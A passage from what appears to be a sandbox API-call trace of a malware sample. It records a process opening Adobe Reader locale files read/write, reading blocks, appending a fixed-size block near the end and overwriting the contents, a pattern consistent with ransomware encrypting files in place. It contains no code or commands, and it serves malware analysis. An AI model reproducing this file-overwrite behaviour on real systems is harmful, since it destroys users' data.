ReleaseMutex (hMutex=0x128) returned 1 [0036.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0036.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0036.405] ReadFile (in: hFile=0x1ac, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0036.407] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x8299 [0036.407] ReadFile (in: hFile=0x1ac, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.407] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x8299 [0036.408] WriteFile (in: hFile=0x1ac, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.408] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0036.408] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.408] CloseHandle (hObject=0x1ac) returned 1 [0036.408] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Checkers.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\checkers.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.409] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.409] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x20a00 [0036.409] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.409] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.409] ReleaseMutex (hMutex=0x128) returned 1 [0036.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.FRA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.FRA", cchWideChar=12, lpMultiByteStr=0x1e631ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.FRA", lpUsedDefaultChar=0x0) returned 12 [0036.409] ReadFile (in: hFile=0x1ac, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0036.411] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1fa00 [0036.411] ReadFile (in: hFile=0x1ac, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.412] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1fa00 [0036.413] WriteFile (in: hFile=0x1ac, lpBuffer=0x2772358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.413] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0036.413] WriteFile (in: hFile=0x1ac, lpBuffer=0x2720cd8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0036.413] CloseHandle (hObject=0x1ac) returned 1 [0036.413] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\RdLang32.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\rdlang32.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.413] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.413] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x15ee00 [0036.413] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.413] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.414] ReleaseMutex (hMutex=0x128) returned 1 [0036.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.FRA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.FRA", cchWideChar=12, lpMultiByteStr=0x1e6316c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.FRA", lpUsedDefaultChar=0x0) returned 12 [0036.414] ReadFile (in: hFile=0x1ac, lpBuffer=0x2720cd8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesRead=0x2f4f278*=0xf000, lpOverlapped=0x0) returned 1 [0036.416] ReadFile (in: hFile=0x1ac, lpBuffer=0x2720cd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.417] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x15de00 [0036.417] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.419] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x15de00 [0036.419] WriteFile (in: hFile=0x1ac, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.420] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0036.420] WriteFile (in: hFile=0x1ac, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x2f4f28c*=0xf000, lpOverlapped=0x0) returned 1 [0036.420] WriteFile (in: hFile=0x1ac, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.420] CloseHandle (hObject=0x1ac) returned 1 [0036.420] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Weblink.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\weblink.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.421] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.421] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x7000 [0036.422] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.422] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.422] ReleaseMutex (hMutex=0x128) returned 1 [0036.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.FRA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.FRA", cchWideChar=11, lpMultiByteStr=0x1e6310c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.FRA", lpUsedDefaultChar=0x0) returned 11 [0036.422] ReadFile (in: hFile=0x1ac, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.423] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x6000 [0036.423] ReadFile (in: hFile=0x1ac, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.424] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x6000 [0036.424] WriteFile (in: hFile=0x1ac, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.424] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0036.424] WriteFile (in: hFile=0x1ac, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.424] CloseHandle (hObject=0x1ac) returned 1 [0036.425] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\EScript.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\escript.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.425] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.425] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xa200 [0036.425] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.425] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.425] ReleaseMutex (hMutex=0x128) returned 1 [0036.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.HRV", cchWideChar=11, lpMultiByteStr=0x1e630cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.HRV", lpUsedDefaultChar=0x0) returned 11 [0036.425] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0036.427] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x9200 [0036.427] ReadFile (in: hFile=0x1ac, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.428] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x9200 [0036.428] WriteFile (in: hFile=0x1ac, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.428] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0036.428] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.428] CloseHandle (hObject=0x1ac) returned 1 [0036.428] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Search.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\search.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.429] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.429] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x5c00 [0036.429] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.429] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.430] ReleaseMutex (hMutex=0x128) returned 1 [0036.430] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.HRV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.430] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.HRV", cchWideChar=10, lpMultiByteStr=0x1e6310c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.HRV", lpUsedDefaultChar=0x0) returned 10 [0036.430] ReadFile (in: hFile=0x1ac, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.431] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x4c00 [0036.431] ReadFile (in: hFile=0x1ac, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.432] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x4c00 [0036.432] WriteFile (in: hFile=0x1ac, lpBuffer=0x2772358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.432] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0036.432] WriteFile (in: hFile=0x1ac, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.433] CloseHandle (hObject=0x1ac) returned 1 [0036.433] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Annots.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\annots.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.434] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.434] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x7d600 [0036.434] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.434] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.434] ReleaseMutex (hMutex=0x128) returned 1 [0036.434] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.HUN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.434] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.HUN", cchWideChar=10, lpMultiByteStr=0x1e6302c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.HUN", lpUsedDefaultChar=0x0) returned 10 [0036.434] ReadFile (in: hFile=0x1ac, lpBuffer=0x2720cd8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0036.436] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x7c600 [0036.436] ReadFile (in: hFile=0x1ac, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.438] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x7c600 [0036.438] WriteFile (in: hFile=0x1ac, lpBuffer=0x2772358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.438] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0036.438] WriteFile (in: hFile=0x1ac, lpBuffer=0x2728d08*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2728d08*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0036.438] CloseHandle (hObject=0x1ac) returned 1 [0036.438] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\pddom.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\pddom.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0036.893] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.893] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x2c00 [0036.893] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.893] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.893] ReleaseMutex (hMutex=0x128) returned 1 [0036.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.HUN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0036.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.HUN", cchWideChar=9, lpMultiByteStr=0x1e6314c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.HUN", lpUsedDefaultChar=0x0) returned 9 [0036.894] ReadFile (in: hFile=0x12c, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.970] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1c00 [0036.971] ReadFile (in: hFile=0x12c, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.972] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1c00 [0036.972] WriteFile (in: hFile=0x12c, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1588, 